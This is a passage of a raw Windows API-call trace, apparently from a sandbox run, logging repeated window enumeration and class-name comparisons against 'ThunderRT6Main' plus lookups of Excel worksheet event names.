nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.401] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.401] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0106.401] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0106.401] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0106.401] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0106.401] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0106.401] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0106.401] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0106.401] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0106.401] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0106.401] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0106.401] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0106.401] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0106.401] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0106.401] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0106.401] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0106.401] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0106.401] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0106.401] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0106.401] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0106.401] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0106.401] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0106.401] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0106.401] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.401] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.401] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0106.401] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0106.402] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0106.402] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0106.402] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0106.402] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0106.402] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.402] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.402] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0106.402] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0106.402] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0106.402] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0106.402] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0106.402] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0106.402] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.402] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.402] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0106.402] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0106.402] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0106.402] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0106.402] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0106.402] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0106.402] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0106.402] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0106.402] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0106.402] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0106.402] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0106.402] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0106.402] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0106.402] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0106.402] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0106.402] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0106.402] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0106.402] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0106.402] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0106.402] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0106.402] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0106.403] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0106.403] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.403] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.403] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.403] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0106.403] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0106.403] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0106.403] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.403] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0106.403] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0106.403] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0106.403] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.403] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0106.403] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.403] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.403] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.403] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0106.403] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.403] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.403] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.403] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0106.403] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.403] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.403] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.403] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0106.403] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0106.403] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0106.403] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.403] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0106.403] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0106.403] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0106.403] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.403] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0106.403] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0106.404] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0106.404] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0106.404] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0106.404] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0106.404] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0106.404] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.404] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0106.404] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.404] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.404] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.404] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0106.404] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.404] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.404] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.404] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0106.404] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0106.404] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0106.404] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.404] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0106.404] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="#43") returned 3 [0106.404] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0106.404] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0106.404] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0106.404] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.404] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.404] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0106.404] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0106.404] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0106.404] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0106.404] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0106.404] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0106.404] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.404] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.404] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0106.405] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0106.405] GetClassNameA (in: hWnd=0x10054, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0106.405] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0106.405] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.405] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0106.405] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0106.405] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0106.405] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0106.405] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0106.405] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0106.405] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0106.405] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0106.405] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0106.405] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.405] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.405] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0106.405] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0106.405] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0106.405] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0106.405] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0106.405] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0106.405] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0106.405] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0106.405] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0106.405] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0106.405] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.405] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.405] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0106.405] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0106.405] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.405] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.405] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0106.405] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0106.405] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0106.406] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0106.406] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0106.406] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0106.406] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0106.406] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0106.406] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0106.406] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0106.406] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x5965530 [0106.406] IMalloc:Free (This=0x7fefe465380, pv=0x5965530) [0106.476] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x11, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0106.476] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x7, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0106.476] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0106.477] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x1a, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0106.477] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x10, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0106.477] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0106.487] _mbscpy_s (in: _Dst=0x20df00, _DstSizeInBytes=0x1c, _Src=0x5d10546 | out: _Dst=0x20df00) returned 0x0 [0106.487] _mbscpy_s (in: _Dst=0x20df0a, _DstSizeInBytes=0x12, _Src=0x20e0b0 | out: _Dst=0x20df0a) returned 0x0 [0106.487] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0106.489] GetCurrentThreadId () returned 0xa30 [0106.489] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0106.489] GetDesktopWindow () returned 0x10010 [0106.489] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0106.489] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0106.489] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0106.489] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.489] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0106.489] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.489] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.489] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.489] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0106.489] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.489] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.489] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.489] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0106.489] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.489] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.489] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.489] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0106.489] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.489] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.489] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.490] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0106.490] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.490] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.490] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.490] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0106.490] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.490] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.490] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.490] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0106.490] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.490] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.490] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.490] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0106.490] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0106.490] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0106.490] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.490] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0106.490] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0106.490] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0106.490] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.490] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0106.490] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.490] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.490] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.490] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0106.490] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0106.490] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0106.490] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.490] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0106.490] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0106.490] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0106.490] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0106.490] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0106.490] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0106.490] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0106.490] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0106.490] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0106.490] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0106.491] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0106.491] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0106.491] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0106.491] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.491] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.491] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0106.491] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0106.491] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.491] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.491] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.491] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0106.491] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.491] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.491] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.491] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0106.491] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.491] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.491] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0106.491] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0106.491] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0106.491] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0106.491] 